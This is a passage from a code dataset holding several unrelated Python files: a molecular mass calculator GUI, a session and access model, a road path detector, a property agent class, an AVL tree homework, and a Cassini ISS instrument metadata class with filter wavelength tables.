Search symbol\r\n symbol = match[0]\r\n atom_mass = find_atom(symbol)\r\n # Search numbers\r\n number = match[1]\r\n # print(atom_mass, number)\r\n if number == \"\":\r\n number = 1\r\n else:\r\n number = int(match[1])\r\n MW = MW + float(atom_mass) * number\r\n while number >= 1:\r\n molecularFormula = molecularFormula + symbol\r\n number -= 1\r\n # print(molecularFormula)\r\n # print(\"formula: \" + formula + \" MW = \" + str(MW))\r\n s = round(MW, 2)\r\n return s\r\n\r\n\r\nclass MainWindow(QMainWindow):\r\n def __init__(self):\r\n QMainWindow.__init__(self)\r\n\r\n # icon in window\r\n self.setWindowIcon(QIcon('atom.png'))\r\n # параметры робочого окна\r\n self.setMinimumSize(QSize(340, 300))\r\n self.setWindowTitle(\"Chemical Calculator\")\r\n # отображение полей ввода\r\n # enter formula line\r\n self.nameLabel = QLabel(self)\r\n self.nameLabel.setText('Enter formula')\r\n self.line = QLineEdit(self)\r\n\r\n # print label\r\n self.nameLabel_4 = QLabel(self)\r\n self.nameLabel_4.setText('Result')\r\n\r\n # параметры полей ввода\r\n # first atom line\r\n self.line.move(100, 20)\r\n self.line.resize(200, 32)\r\n self.nameLabel.move(20, 20)\r\n\r\n # print label\r\n\r\n self.nameLabel_4.move(20, 60)\r\n self.nameLabel_4.resize(200, 62)\r\n # метод нажатия на кнопку\r\n pushbutton = QPushButton('to count', self)\r\n pushbutton.clicked.connect(self.clickMethod)\r\n pushbutton.resize(200, 32)\r\n pushbutton.move(80, 250)\r\n\r\n def clickMethod(self,):\r\n # переменная с значением введеных атомов\r\n text1 = self.line.text()\r\n q = str(text1)\r\n b = moll_mass(q)\r\n self.nameLabel_4.setText('Result: ' + 'Formula: ' + str(q) + '\\n' +\r\n 'Molecular Mass: ' + str(q) + ' = ' + str(b) + ' g/mol')\r\n\r\n\r\nif __name__ == \"__main__\":\r\n app = QtWidgets.QApplication(sys.argv)\r\n mainWin = MainWindow()\r\n mainWin.show()\r\n sys.exit(app.exec_())\r\n","sub_path":"full_program_1.3.py","file_name":"full_program_1.3.py","file_ext":"py","file_size_in_byte":4288,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"578194934","text":"class AuthUserModel():\n '''\n Класс с данными пользователя\n '''\n # переменная с данными пользователя\n userData = None\n # переменная с данными сессии\n sessionData = None\n\n def __dict__(self):\n '''\n Магическая функция для перевода класса в Dict\n\n :rtype: dict\n :return:\n '''\n return {\n \"user\" : {\n \"surname\" : self.userData.surname,\n \"name\" : self.userData.name,\n \"secondname\" : self.userData.secondname,\n \"dateBirth\" : self.userData.dateBirth\n },\n \"token\" : self.sessionData.token,\n \"access\" : self.accessList(),\n \"phone\" : self.phoneList()\n }\n\n def phoneList(self):\n '''\n Фнукция выбирает все телефоны пользователя\n\n :rtype: list\n :return: res\n '''\n # массив для конечных результатов\n res = []\n from db2015 import linkUserPhone\n # ищем все телефоны пользователя\n linkListPhone = linkUserPhone.getDb(twistedServer.config.get(\"auth\",{}).get(\"dbUse\",\"\"))\\\n .query(linkUserPhone)\\\n .filter(linkUserPhone.codeUser == self.userData.code)\\\n .all()\n # перебираем телефоны\n for linkPhone in linkListPhone:\n # добавляем телефон в результирующий массив\n res.append({\n \"phone\" : \"+7\"+linkPhone.phone.numberCode+linkPhone.phone.numberBody,\n \"type\" : linkPhone.phone.codeType\n })\n # возвращаем результат\n return res\n\n def accessList(self):\n '''\n Функция возвращает список кодов доступа пользователя\n\n :rtype: list\n :return: ret\n '''\n from db2015 import linkUserAccessView\n # получаем все коды доступа пользователя\n result = linkUserAccessView.getDb(twistedServer.config.get(\"auth\",{}).get(\"dbUse\",\"\"))\\\n .query(linkUserAccessView.codeAccess)\\\n .filter(linkUserAccessView.codeUser == self.userData.code)\\\n .all()\n # переменная для результата\n ret = []\n # переводим двумерный массив в одномерный\n for item in result:\n ret.append(item[0])\n # возвращаем список кодов доступа\n return ret\n\n def isAccess(self, code=None):\n '''\n Функция для проверки кода доступа у пользователя\n\n :type code: str | list\n :param code: Код доступа для проверки\n\n :rtype: bool\n :return: True - при успехе, иначе False\n '''\n # переменная для конечного значения\n access = False\n # определяем тип кода (строка или массив строк)\n if isinstance(code, list):\n # если массив строк\n for itemCode in code:\n # смотим есть ли код доступа в списке кодов доступа пользователя\n if itemCode in self.accessList():\n # если есть, access проставляем в True\n access = True\n elif isinstance(code, str):\n # если строка\n # смотим есть ли код доступа в списке кодов доступа пользователя\n if code in self.accessList():\n # если есть, access проставляем в True\n access = True\n # возвращаем access\n return access\n\n def sessionExtension(self):\n '''\n Функция для продление сессии пользователя\n\n :rtype: bool\n :return: True - если сессия продленна, False - если крах\n '''\n from datetime import datetime, timedelta\n # продляем действие сессии\n self.sessionData.dateStop = (datetime.now() + timedelta(seconds=twistedServer.config.get(\"auth\",{}).get(\"sessionLifeTime\", 60)))\\\n .timestamp()\n # сохраняем новую конечную дату\n if not self.sessionData.save():\n # если произошла ошибка, то возвращаем False\n return False\n return True\n\n def sessionStop(self):\n '''\n Функция для остановки сессии пользователя\n\n :rtype: bool\n :return: True - если сессия остановленна, False - если крах\n '''\n # ставим флаг, для обазначения остановки сессии\n self.sessionData.disable = True\n # сохраняем изминений\n if not self.sessionData.save():\n # если ошибка, возвращаем False\n return False\n # если все гуд и сессия остановлена, True\n return True","sub_path":"server/modules/authorization/authUserModel.py","file_name":"authUserModel.py","file_ext":"py","file_size_in_byte":5663,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"325760841","text":"import logging\nimport numpy as np\nimport cv2\n\nfrom scipy import ndimage\nfrom math import sin, cos, pi\n\nlogging.info('Path detector 1.0 has been initialized')\n\n\ndef detect(mask):\n\n img_height, img_width = mask.shape\n car_center = (img_width // 2, img_height)\n path_img = np.zeros((img_height, img_width, 3), np.uint8)\n cv2.circle(path_img, car_center, 4, (0, 0, 252), -1)\n\n # recherche des directions possible et les met dans path_dict:\n # la partie importante du code se trouve dans la fonction find_directions()\n path_dict, path_img = find_directions(mask, path_img, car_center)\n max_left, max_right = find_min_max(mask, path_img, car_center)\n for key in path_dict.keys():\n angle = path_dict[key]\n if angle is not None:\n if angle < max_right:\n path_dict[key] = max_right\n elif angle > max_left:\n path_dict[key] = max_left\n path_dict[\"max_right\"] = max_right\n path_dict[\"max_left\"] = max_left\n return (path_dict, path_img)\n\n\ndef find_directions(mask, path_img, car_center):\n \"\"\"renvoie un dictionnaire avec des listes des directions possibles\n triees en 3 directions principales: gauche, tout droit et droite\"\"\"\n last = False\n img_height, img_width = mask.shape\n path_dict = {'left': None, 'straight': None, 'right': None}\n currentDirection = []\n center = img_width//2, int(img_height*0.7)\n r = img_height*0.25\n # la boucle for recherche les chemins libres dans chaque direction\n angle = -10\n while angle < 190:\n p = int(center[0]+r*cos(angle*pi/180)), int(center[1]-r*sin(angle*pi/180))\n # verifie si le chemin dans la direction de p est libre\n edge = find_edge(mask, center, p)\n if edge[1] == 100:\n # si le chemin est libre, on ajoute le point dans la liste currentDirection\n if not last:\n currentDirection = [(edge[0], angle)]\n else:\n currentDirection.append((edge[0], angle))\n last = True\n else:\n if last:\n # on passe d'une ligne libre a une ligne non-libre\n # donc c'est la fin de la liste currentDirection\n # donc on prend le milieu de currentDirection comme direction moyenne\n middle = currentDirection[len(currentDirection)//2]\n midle_angle = middle[1]\n direction = \"straight\"\n if midle_angle > 130:\n direction = \"left\"\n elif midle_angle < 50:\n direction = \"right\"\n cv2.circle(path_img, middle[0], 4, (0, 0, 255), -1)\n # on ajoute l'angle correspondant a cette direction dans le dictionnaire\n # utilise la fonction regularize() pour que l'angle ne soit pas dirige vers l'exterieur de la route\n path_dict[direction] = model_to_heading(middle[0], car_center)\n last = False\n\n cv2.circle(path_img, edge[0], 4, (0, 255, 0), -1)\n cv2.line(path_img, center, p, (255, 0, 0))\n angle += 5\n return (path_dict, path_img)\n\n\ndef find_min_max(mask, path_img, car_center):\n img_height, img_width = mask.shape\n right_edge = (0, 0)\n left_edge = (0, 0)\n r = img_height*0.25\n center = car_center\n lst = []\n angle = 45\n while angle < 135:\n origin = p = int(center[0]+r*cos(angle*pi/180)*0.6), int(center[1]-r*sin(angle*pi/180)*0.6)\n p = int(center[0]+r*cos(angle*pi/180)), int(center[1]-r*sin(angle*pi/180))\n # verifie si le chemin dans la direction de p est libre\n edge = find_edge(mask, origin, p)\n if edge[1] == 100:\n lst.append(edge[0])\n cv2.line(path_img, origin, p, (255, 0, 0))\n angle += 5\n if len(lst) > 1:\n right_edge = lst[1]\n left_edge = lst[-1]\n else:\n right_edge = left_edge = img_width//2, 0\n cv2.circle(path_img, right_edge, 4, (0, 255, 0), -1)\n cv2.circle(path_img, left_edge, 4, (0, 255, 0), -1)\n return model_to_heading(left_edge, car_center), model_to_heading(right_edge, car_center)\n\n\ndef find_edge(mask, p0, p1):\n \"\"\"trouve le bord de la route dans la direction p0->p1, renvoie un tuple avec le point et sa distance (de 0 100)\"\"\"\n x_tab, y_tab, line_tab = profile(mask, p0, p1, 100)\n non_zero = np.nonzero(line_tab)[0]\n found = True\n while non_zero.size > 4:\n n = non_zero[0]\n found = True\n for i in range(1, 4):\n if not non_zero[i] in range(n, n+7) and found:\n non_zero = np.delete(non_zero, 0)\n found = False\n if found:\n return [(int(x_tab[n]), int(y_tab[n])), n]\n if non_zero.size != 0 and found:\n n = non_zero[0]\n return [(int(x_tab[n]), int(y_tab[n])), n]\n\n return [p1, 100]\n\n\ndef model_to_heading(model_xy, car_center_xy):\n \"\"\"Calculate the angle (in degrees) between the vertical line that\n passes through the point `car_center_xy` and the line that connects\n `car_center_xy` with `model_xy`.\n A negative angle means that the car should turn clockwise; a positive\n angle that the car should move counter-clockwise.\"\"\"\n dx = 1. * model_xy[0] - car_center_xy[0]\n dy = 1. * model_xy[1] - car_center_xy[1]\n heading = -np.arctan2(dx, -dy)*180/np.pi\n return heading\n\n\ndef profile(mask, p0, p1, num):\n \"\"\"Takes `num` equi-distance samples on the straight line between point `p0`\n and point `p2` on binary image `mask`.\n\n Here, points p0 and p1 are 2D points (x-coord,y-coord)\n\n Returns: a triple (n, m, vals) where:\n - n is a numpy array of size `num` containing the x-coordinates of\n sampled points\n - m is a numpy array of size `num` containing the y-coordinates of\n sampled points\n - vals is a numpy array of size `num` containing the sampled point\n values, i.e. vals[i] = mask[m[i], n[i]]\n (recall that images are indexed first on y-coordinate, then on\n x-coordinate)\n \"\"\"\n n = np.linspace(p0[0], p1[0], num)\n m = np.linspace(p0[1], p1[1], num)\n return [n, m, ndimage.map_coordinates(mask, [m, n], order=0)]\n","sub_path":"Orange Pi/path_detector.py","file_name":"path_detector.py","file_ext":"py","file_size_in_byte":6196,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"513651847","text":"from chapter3_case_study.HouseRental import HousePurchase, AppartmentRental, AppartmentPurchase, HouseRental\nfrom chapter3_case_study.helper_functions import get_valid_input\n\n\nclass Agent:\n def __init__(self):\n self.property_list = []\n self.type_map = {\n (\"house\",\"rental\"): HouseRental,\n (\"house\",\"purchase\"): HousePurchase,\n (\"appartment\",\"rental\"): AppartmentRental,\n (\"appartment\",\"purchase\"): AppartmentPurchase\n }\n\n def add_property(self):\n property_type = get_valid_input(\"What type of property? \",\n (\"house\",\"appartment\")).lower()\n payment_type = get_valid_input(\"What payment type? \",\n (\"purchase\",\"rental\")).lower()\n\n PropertyClass = self.type_map[(property_type, payment_type)]\n init_args = PropertyClass.prompt_init()\n self.property_list.append(PropertyClass(**init_args))\n\n def display_properties(self):\n for property in self.property_list:\n property.display()","sub_path":"chapter3_case_study/Agent.py","file_name":"Agent.py","file_ext":"py","file_size_in_byte":1077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"459748514","text":"# 27.Print all even numbers in range\n# a\nn = int(input(\"Enter range:\"))\nfor i in range(n+1):\n if i % 2 == 0:\n print(i)\n\n# b\ni = 0\nn=10\nwhile i <= n:\n if i % 2 == 0:\n print(i)\n i += 1","sub_path":"27.py","file_name":"27.py","file_ext":"py","file_size_in_byte":205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"118025032","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Oct 6 15:23:16 2021\n\n@author: Madeline Edmonds\nCPSC 330 Homework 4\n\nLast Edited: Friday Oct 15 2021\n\"\"\"\n\n# =============================================================================\n# Import random library for number generation\n# =============================================================================\nimport random\n\nclass TreeNode:\n def __init__(self, value):\n self.value = value\n self.left_child = None\n self.right_child = None\n# =============================================================================\n# Counting the height\n# =============================================================================\n self.height = 1\n\nclass AVLTree:\n def __init__(self):\n self.size = 0\n# =============================================================================\n# Count the number of left and right rotations\n# =============================================================================\n self.numLeft = 1\n self.numRight = 1\n \n\n def num_nodes(self):\n return self.size\n \n def put(self, root, key):\n if not root:\n return TreeNode(key)\n elif key < root.value:\n root.left_child = self.put(root.left_child, key)\n else:\n root.right_child = self.put(root.right_child, key)\n \n self.size = self.size + 1\n root.height = 1+ max(self.getHeight(root.left_child), \n self.getHeight(root.right_child))\n\n# =============================================================================\n# Update the balanceFactor \n# =============================================================================\n balanceFactor = self.updateBalance(root)\n \n if balanceFactor > 1 and key < root.left_child.value:\n return self.rotateRight(root)\n \n elif balanceFactor < -1 and key > root.right_child.value:\n return self.rotateLeft(root)\n \n elif balanceFactor > 1 and key > root.left_child.value:\n root.left_child = self.rotateLeft(root.left_child)\n return self.rotateRight(root)\n \n elif balanceFactor < -1 and key < root.right_child.value:\n root.right_child = self.rotateRight(root.right_child)\n return self.rotateLeft(root)\n \n return root\n# =============================================================================\n# Left Rotation \n# =============================================================================\n def rotateLeft(self,rotRoot):\n \n self.numLeft +=1\n\n newRoot = rotRoot.right_child\n temp = newRoot.left_child\n \n newRoot.left_child = rotRoot\n rotRoot.right_child = temp\n rotRoot.height = 1 + max(self.getHeight(rotRoot.left_child),\n self.getHeight(rotRoot.right_child))\n newRoot.height = 1 + max(self.getHeight(newRoot.left_child),\n self.getHeight(newRoot.right_child))\n \n return newRoot\n\n# =============================================================================\n# Right Rotation \n# =============================================================================\n def rotateRight(self,rotRoot):\n self.numRight = self.numRight + 1\n \n newRoot = rotRoot.left_child\n t2 = newRoot.right_child \n \n newRoot.right_child = rotRoot\n rotRoot.left_child = t2\n\n rotRoot.height = 1 + max(self.getHeight(rotRoot.left_child),\n self.getHeight(rotRoot.right_child))\n newRoot.height = 1 + max(self.getHeight(newRoot.left_child),\n self.getHeight(newRoot.right_child))\n \n return newRoot\n \n# =============================================================================\n# Get the Height and Balance \n# =============================================================================\n \n def getHeight(self, root):\n if not root:\n return 0\n return root.height\n \n def updateBalance(self, root):\n if not root:\n return 0\n return self.getHeight(root.left_child) - self.getHeight(root.right_child)\n# =============================================================================\n# Take the total of left rotations and the total number of right \n# rotations and add them together \n# =============================================================================\n def numRotate(self,root):\n if not root:\n return 0\n return self.numLeft + self.numRight\n\n\n\navl2 = AVLTree()\n\navlList = random.sample(range(1,10001), 1000)#Generate a radom unique array of 1000 numbers\n# =============================================================================\n# Add the numbers to the list\n# =============================================================================\nroot2 = None\n\nfor i in range(1000):\n root2 = avl2.put(root2, avlList[i])\n\n\n# =============================================================================\n# print(avlList) WILL SHOW ALL NUMBERS IN THE LIST\n# =============================================================================\n\nprint(\"Rotations:\",avl2.numRotate(root2))\nprint(\"Height of Tree:\", avl2.getHeight(root2))","sub_path":"MEdmonds_CPSC330_Homework4.py","file_name":"MEdmonds_CPSC330_Homework4.py","file_ext":"py","file_size_in_byte":5377,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"605696120","text":"################################################################################\n# obs_instrument_coiss.py\n#\n# Defines the ObsInstrumentCOISS class, which encapsulates fields in the\n# common, obs_mission_cassini, and obs_instrument_coiss tables for\n# COISS_[12]xxx.\n################################################################################\n\nimport opus_support\n\nfrom obs_mission_cassini import (ObsMissionCassini,\n COISS_TARGET_DESC_MAPPING)\n\n\n# Wavelength information for combinations of filters\n# This data is from the ISS Data User's Guide Table A.2\n# When missing from there it is from the CISSCAL files na_effwl.tab\n# and wa_effwl.tab\n# (Camera, Filter1, Filter2): (Central wavelength, FWHM, Effective wavelength)\n# Values are in nm and must be converted to microns!\n_COISS_FILTER_WAVELENGTHS = {\n ('N', 'CL1', 'CL2'): (610.675, 340.056, 651.057),\n ('N', 'CL1', 'GRN'): (568.134, 113.019, 569.236),\n ('N', 'CL1', 'UV3'): (338.284, 68.0616, 343.136),\n ('N', 'CL1', 'BL2'): (439.923, 29.4692, 440.980),\n ('N', 'CL1', 'MT2'): (727.421, 4.11240, 727.415),\n ('N', 'CL1', 'CB2'): (750.505, 10.0129, 750.495),\n ('N', 'CL1', 'MT3'): (889.194, 10.4720, 889.196),\n ('N', 'CL1', 'CB3'): (937.964, 9.54761, 937.928),\n ('N', 'CL1', 'MT1'): (618.945, 3.68940, 618.949),\n ('N', 'CL1', 'CB1'): (619.381, 9.99526, 619.292),\n ('N', 'CL1', 'CB1A'): (602.908, 9.99526, 602.917),\n ('N', 'CL1', 'CB1B'): (634.531, 11.9658, 634.526),\n ('N', 'CL1', 'IR3'): (929.763, 66.9995, 928.304),\n ('N', 'CL1', 'IR1'): (751.894, 152.929, 750.048),\n ('N', 'RED', 'CL2'): (650.086, 149.998, 648.879),\n ('N', 'RED', 'GRN'): (601.032, 51.9801, 600.959),\n ('N', 'RED', 'MT2'): (726.633, 2.33906, 726.624),\n ('N', 'RED', 'CB2'): (744.255, 4.22393, 743.912),\n ('N', 'RED', 'MT1'): (618.911, 3.69858, 618.922),\n ('N', 'RED', 'CB1'): (619.568, 9.07488, 619.481),\n ('N', 'RED', 'IR3'): (695.435, 2.04887, 695.040),\n ('N', 'RED', 'IR1'): (701.900, 44.9603, 701.692),\n ('N', 'BL1', 'CL2'): (450.851, 102.996, 455.471),\n ('N', 'BL1', 'GRN'): (497.445, 5.00811, 497.435),\n ('N', 'BL1', 'UV3'): (386.571, 14.0295, 389.220),\n ('N', 'BL1', 'BL2'): (440.035, 29.6733, 441.077),\n ('N', 'UV2', 'CL2'): (297.880, 59.9535, 306.477),\n ('N', 'UV2', 'UV3'): (315.623, 28.9282, 317.609),\n ('N', 'UV1', 'CL2'): (258.098, 37.9542, 266.321),\n ('N', 'UV1', 'UV3'): (350.697, 9.07263, 353.878),\n ('N', 'IRPO', 'MT2'): (727.434, 4.11241, 727.424),\n ('N', 'IRPO', 'CB2'): (750.512, 10.0158, 750.501),\n ('N', 'IRPO', 'MT3'): (889.211, 10.4738, 889.208),\n ('N', 'IRPO', 'CB3'): (938.001, 9.54946, 937.961),\n ('N', 'IRPO', 'MT1'): (618.970, 3.69682, 618.967),\n ('N', 'IRPO', 'IR3'): (930.047, 67.9802, 928.583),\n ('N', 'IRPO', 'IR1'): (752.822, 153.994, 750.967),\n ('N', 'P120', 'GRN'): (568.532, 112.946, 569.630),\n ('N', 'P120', 'UV3'): (341.101, 66.0391, 345.492),\n ('N', 'P120', 'BL2'): (440.022, 29.4620, 441.079),\n ('N', 'P120', 'MT2'): (727.430, 4.11216, 727.421),\n ('N', 'P120', 'CB2'): (750.535, 10.0307, 750.524),\n ('N', 'P120', 'MT1'): (618.908, 3.69299, 618.920),\n ('N', 'P120', 'CB1'): (619.961, 9.99561, 619.872),\n ('N', 'P60', 'GRN'): (568.532, 112.946, 569.630),\n ('N', 'P60', 'UV3'): (341.101, 66.0391, 345.492),\n ('N', 'P60', 'BL2'): (440.022, 29.4620, 441.079),\n ('N', 'P60', 'MT2'): (727.430, 4.11216, 727.421),\n ('N', 'P60', 'CB2'): (750.535, 10.0307, 750.524),\n ('N', 'P60', 'MT1'): (618.908, 3.69299, 618.920),\n ('N', 'P60', 'CB1'): (619.961, 9.99561, 619.872),\n ('N', 'P0', 'GRN'): (568.532, 112.946, 569.630),\n ('N', 'P0', 'UV3'): (341.101, 66.0391, 345.492),\n ('N', 'P0', 'BL2'): (440.022, 29.4620, 441.079),\n ('N', 'P0', 'MT2'): (727.430, 4.11216, 727.421),\n ('N', 'P0', 'CB2'): (750.535, 10.0307, 750.524),\n ('N', 'P0', 'MT1'): (618.908, 3.69299, 618.920),\n ('N', 'P0', 'CB1'): (619.961, 9.99561, 619.872),\n ('N', 'HAL', 'CL2'): (655.663, 9.26470, 655.621),\n ('N', 'HAL', 'GRN'): (648.028, 5.58862, 647.808),\n ('N', 'HAL', 'CB1'): (650.567, 2.73589, 650.466),\n ('N', 'HAL', 'IR1'): (663.476, 5.25757, 663.431),\n ('N', 'IR4', 'CL2'): (1002.40, 35.9966, 1001.91),\n ('N', 'IR4', 'IR3'): (996.723, 36.0700, 996.460),\n ('N', 'IR2', 'CL2'): (861.962, 97.0431, 861.066),\n ('N', 'IR2', 'MT3'): (889.176, 10.4655, 889.176),\n ('N', 'IR2', 'CB3'): (933.657, 3.71709, 933.593),\n ('N', 'IR2', 'IR3'): (901.843, 44.0356, 901.630),\n ('N', 'IR2', 'IR1'): (827.438, 28.0430, 827.331),\n ('W', 'CL1', 'CL2'): (634.928, 285.999, 633.817),\n ('W', 'CL1', 'RED'): (648.422, 150.025, 647.239),\n ('W', 'CL1', 'GRN'): (567.126, 123.999, 568.214),\n ('W', 'CL1', 'BL1'): (460.418, 62.2554, 462.865),\n ('W', 'CL1', 'VIO'): (419.684, 18.1825, 419.822),\n ('W', 'CL1', 'HAL'): (656.401, 9.96150, 656.386),\n ('W', 'CL1', 'IR1'): (741.456, 99.9735, 739.826),\n ('W', 'IR3', 'CL2'): (917.841, 45.3074, 916.727),\n ('W', 'IR3', 'RED'): (690.604, 3.04414, 689.959),\n ('W', 'IR3', 'IRP90'): (917.883, 45.3223, 916.770),\n ('W', 'IR3', 'IRP0'): (917.883, 45.3223, 916.770),\n ('W', 'IR3', 'IR1'): (790.007, 3.02556, 783.722),\n ('W', 'IR4', 'CL2'): (1002.36, 25.5330, 1001.88),\n ('W', 'IR4', 'IRP90'): (1002.44, 25.5299, 1001.98),\n ('W', 'IR4', 'IRP0'): (1002.44, 25.5299, 1001.98),\n ('W', 'IR5', 'CL2'): (1034.49, 19.4577, 1033.87),\n ('W', 'IR5', 'IRP90'): (1035.20, 19.4591, 1034.85),\n ('W', 'IR5', 'IRP0'): (1035.20, 19.4591, 1034.85),\n ('W', 'CB3', 'CL2'): (938.532, 9.95298, 938.445),\n ('W', 'CB3', 'IRP90'): (938.668, 9.95308, 938.611),\n ('W', 'CB3', 'IRP0'): (938.668, 9.95308, 938.611),\n ('W', 'MT3', 'CL2'): (890.340, 10.0116, 890.332),\n ('W', 'MT3', 'IRP90'): (890.368, 10.0118, 890.364),\n ('W', 'MT3', 'IRP0'): (890.368, 10.0118, 890.364),\n ('W', 'CB2', 'CL2'): (752.364, 10.0044, 752.354),\n ('W', 'CB2', 'RED'): (747.602, 4.07656, 747.317),\n ('W', 'CB2', 'IRP90'): (752.373, 10.0049, 752.363),\n ('W', 'CB2', 'IRP0'): (752.373, 10.0049, 752.363),\n ('W', 'CB2', 'IR1'): (752.324, 10.0026, 752.314),\n ('W', 'MT2', 'CL2'): (728.452, 4.00903, 728.418),\n ('W', 'MT2', 'RED'): (727.517, 2.05059, 727.507),\n ('W', 'MT2', 'IRP90'): (728.470, 4.00906, 728.435),\n ('W', 'MT2', 'IRP0'): (728.470, 4.00906, 728.435),\n ('W', 'MT2', 'IR1'): (728.293, 4.00906, 728.284),\n ('W', 'IR2', 'CL2'): (853.258, 54.8544, 852.448),\n ('W', 'IR2', 'IRP90'): (853.320, 54.8765, 852.510),\n ('W', 'IR2', 'IRP0'): (853.320, 54.8765, 852.510),\n ('W', 'IR2', 'IR1'): (826.348, 26.0795, 826.255),\n}\n# The following filter combinations are found in the data (through COISS_2111)\n# but aren't in the above table.\n# If one of the filters is a polarizer, we substitute it with CLEAR and see if\n# that works. Note that this isn't really a great choice - IRP especially has\n# a fairly narrow pass band. If this doesn't work or neither of the filters is\n# a polarizer, we just set the result to NULL. These combinations are often\n# silly anyway. Who wants IR2+UV3?\n# N/HAL/UV3\n# N/IR2/UV3\n# N/IR4/UV3\n# N/IRP0/CB1\n# N/IRP0/CB2\n# N/IRP0/CB3\n# N/IRP0/CL2\n# N/IRP0/GRN\n# N/IRP0/IR1\n# N/IRP0/IR3\n# N/IRP0/MT1\n# N/IRP0/MT2\n# N/IRP0/MT3\n# N/P0/CL2\n# N/P0/IR1\n# N/P0/IR3\n# N/P120/CL2\n# N/P120/IR1\n# N/P60/CL2\n# N/P60/IR1\n# N/RED/UV3\n# N/UV1/BL2\n# N/UV1/CB1\n# N/UV1/CB2\n# N/UV1/GRN\n# N/UV1/IR1\n# N/UV1/IR3\n# N/UV2/BL2\n# N/UV2/CB1\n# N/UV2/CB2\n# N/UV2/GRN\n# N/UV2/IR1\n# N/UV2/IR3\n# N/UV2/MT1\n# W/CB3/HAL\n# W/CB3/VIO\n# W/CL1/IRP0\n# W/CL1/IRP90\n# W/IR3/BL1\n# W/MT3/BL1\n\n\nclass ObsInstrumentCOISS(ObsMissionCassini):\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n\n #############################\n ### OVERRIDE FROM ObsBase ###\n #############################\n\n @property\n def instrument_id(self):\n return 'COISS'\n\n def convert_filespec_from_lbl(self, filespec):\n return filespec.replace('.LBL', '.IMG')\n\n\n ################################\n ### OVERRIDE FROM ObsGeneral ###\n ################################\n\n def field_obs_general_observation_duration(self):\n return self._index_col('EXPOSURE_DURATION') / 1000\n\n # We occasionally don't bother to generate ring_geo data for COISS, like during\n # cruise, so just use the given RA/DEC from the index if needed. We don't make\n # any effort to figure out the min/max values.\n def field_obs_general_right_asc1(self):\n ra = self._ring_geo_index_col('MINIMUM_RIGHT_ASCENSION')\n if ra is not None:\n return ra\n return self._index_col('RIGHT_ASCENSION')\n\n def field_obs_general_right_asc2(self):\n ra = self._ring_geo_index_col('MAXIMUM_RIGHT_ASCENSION')\n if ra is not None:\n return ra\n return self._index_col('RIGHT_ASCENSION')\n\n def field_obs_general_declination1(self):\n ra = self._ring_geo_index_col('MINIMUM_DECLINATION')\n if ra is not None:\n return ra\n return self._index_col('DECLINATION')\n\n def field_obs_general_declination2(self):\n ra = self._ring_geo_index_col('MAXIMUM_DECLINATION')\n if ra is not None:\n return ra\n return self._index_col('DECLINATION')\n\n def field_obs_general_ring_obs_id(self):\n camera = self._index_col('INSTRUMENT_ID')[3]\n assert camera in ('N', 'W')\n filename = self._index_col('FILE_NAME')\n image_num = filename[1:11]\n planet = self._cassini_planet_id()\n if planet is None:\n pl_str = ''\n else:\n pl_str = planet[0]\n return f'{pl_str}_IMG_CO_ISS_{image_num}_{camera}'\n\n def field_obs_general_planet_id(self):\n return self._create_mult(self._cassini_planet_id())\n\n def _target_name(self):\n return [self._cassini_intended_target_name()]\n\n def field_obs_general_quantity(self):\n filter1, filter2 = self._index_col('FILTER_NAME')\n if filter1.startswith('UV') or filter2.startswith('UV'):\n return self._create_mult('EMISSION')\n return self._create_mult('REFLECT')\n\n def field_obs_general_observation_type(self):\n return self._create_mult('IMG') # Image\n\n\n ############################\n ### OVERRIDE FROM ObsPds ###\n ############################\n\n def field_obs_pds_note(self):\n return self._index_col('DESCRIPTION')\n\n\n ##################################\n ### OVERRIDE FROM ObsTypeImage ###\n ##################################\n\n def field_obs_type_image_image_type_id(self):\n return self._create_mult('FRAM')\n\n def field_obs_type_image_duration(self):\n return self.field_obs_general_observation_duration()\n\n def field_obs_type_image_levels(self):\n return 4096\n\n def field_obs_type_image_greater_pixel_size(self):\n # For COISS, this is both greater and lesser pixel size\n inst_mode = self._index_col('INSTRUMENT_MODE_ID')\n if inst_mode == 'FULL':\n return 1024\n if inst_mode == 'SUM2':\n return 512\n if inst_mode == 'SUM4':\n return 256\n self._log_nonrepeating_error(f'Unknown INSTRUMENT_MODE_ID \"{inst_mode}\"')\n return None\n\n def field_obs_type_image_lesser_pixel_size(self):\n return self.field_obs_type_image_greater_pixel_size()\n\n\n ###################################\n ### OVERRIDE FROM ObsWavelength ###\n ###################################\n\n # See additional notes under _COISS_FILTER_WAVELENGTHS\n def _coiss_wavelength_helper(self, camera, filter1, filter2):\n key = (camera, filter1, filter2)\n if key in _COISS_FILTER_WAVELENGTHS:\n return _COISS_FILTER_WAVELENGTHS[key]\n\n # If we don't have the exact key combination, try to set polarization equal\n # to CLEAR for lack of anything better to do.\n nfilter1 = filter1 if filter1.find('P') == -1 else 'CL1'\n nfilter2 = filter2 if filter2.find('P') == -1 else 'CL2'\n key2 = (camera, nfilter1, nfilter2)\n if key2 in _COISS_FILTER_WAVELENGTHS:\n self._log_nonrepeating_warning(\n 'Using CLEAR instead of polarized filter for unknown COISS '+\n f'filter combination {key[0]}/{key[1]}/{key[2]}')\n return _COISS_FILTER_WAVELENGTHS[key2]\n\n self._log_nonrepeating_warning('Ignoring unknown COISS filter combination '+\n f'{key[0]}/{key[1]}/{key[2]}')\n return None, None, None\n\n def field_obs_wavelength_wavelength1(self):\n camera = self._index_col('INSTRUMENT_ID')[3]\n filter1, filter2 = self._index_col('FILTER_NAME')\n central_wl, fwhm, effective_wl = self._coiss_wavelength_helper(\n camera, filter1, filter2)\n if central_wl is None or fwhm is None:\n return None\n return (central_wl - fwhm/2) / 1000 # microns\n\n def field_obs_wavelength_wavelength2(self):\n camera = self._index_col('INSTRUMENT_ID')[3]\n filter1, filter2 = self._index_col('FILTER_NAME')\n central_wl, fwhm, effective_wl = self._coiss_wavelength_helper(\n camera, filter1, filter2)\n if central_wl is None or fwhm is None:\n return 